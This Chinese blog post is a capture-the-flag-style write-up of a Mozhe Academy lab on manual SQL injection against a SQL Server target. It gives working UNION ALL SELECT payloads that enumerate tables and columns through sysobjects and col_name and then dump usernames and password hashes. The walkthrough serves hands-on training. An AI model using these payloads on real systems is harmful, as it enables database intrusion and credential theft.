墨者题解_SQL手工注入漏洞测试(Sql Server数据库)


墨者学院——SQL手工注入漏洞测试(Sql Server数据库)


根据背景:
在这里插入图片描述
这是一个Sql Server数据库类型的注入靶机,直接启动环境开干。

第一步

使用我们的万金油语句进行判断:
id=2 and 1=1 页面正常;
id=2 and 1=2 页面异常;

可以推测SQL语句为:select * from table where id =2

第二步

使用order by 语句进行判断列数:

id=2 order by 1正常
id=2 order by 2正常
id=2 order by 3异常
id=2 order by 3正常
id=2 order by 5异常

判断出有4列。

第三步

使用联合查询进行回显,这里注意了,要用union all select而不是union select,否则无法回显。(注:union和union all的区别https://jingyan.baidu.com/article/2d5afd69e8dfd285a3e28e66.html


and 1=2 union all select 1,2,3,4

在这里插入图片描述
可以看出回显失败,这是因为在语句3的位置,我们要使用字符型的格式:

and 1=2 union all select 1,2,'3',4

在这里插入图片描述
回显成功,在语句2和3的位置可以进行相关的操作。

第四步

使用db_name()函数查询数据库:

and 1=2 union all select 1,2,db_name(),4

在这里插入图片描述
数据库名为:

第五步

爆表名:

and 1=2 union all select 1,(select top 1 name from mozhe_db_v2.dbo.sysobjects where xtype='u'),'3',null

在这里插入图片描述
再看看还有没有其他的表:

and 1=2 union all select 1,(select top 1 name from mozhe_db_v2.dbo.sysobjects where xtype='u'and name not in ('manage')),'3',null
在这里插入图片描述
and 1=2 union all select 1,(select top 1 name from mozhe_db_v2.dbo.sysobjects where xtype='u'and name not in ('manage','announcement')),'3',null
在这里插入图片描述

说明只有’manage’,'announcement’这两个表。

第六步

爆列:
and 1=2 union all select null,(select top 1 col_name(object_id('manage'),1) from sysobjects),(select top 1 col_name(object_id('manage'),2) from sysobjects),4在这里插入图片描述
and 1=2 union all select null,(select top 1 col_name(object_id('manage'),3) from sysobjects),(select top 1 col_name(object_id('manage'),4) from sysobjects),4
在这里插入图片描述
可以看出只有3列:id,username,password.

第七步

爆值:
and 1=2 union all select 1,username, password ,4 from manage
在这里插入图片描述
得到用户名和密码(用MD5解密),登录得到key。

结束语:这是抬锅整理出来的题解希望能对大家有帮助☺

  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值